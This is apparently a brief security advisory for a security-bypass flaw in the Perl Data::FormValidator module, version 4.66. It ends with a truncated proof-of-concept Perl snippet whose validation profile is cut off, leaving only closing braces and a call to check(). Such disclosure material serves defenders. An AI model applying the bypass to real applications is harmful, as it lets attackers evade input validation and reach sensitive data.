  The Perl Data::FormValidator module is prone to a security-bypass vulnerability.
  
  An attacker can exploit this issue to bypass certain security restrictions and obtain potentially sensitive information.
  
  Data::FormValidator 4.66 is vulnerable; other versions may also be affected.

  },
  };
  
  my $results = Data::FormValidator->check({ a => 1 }, $profile);
  warn $results->valid('a');
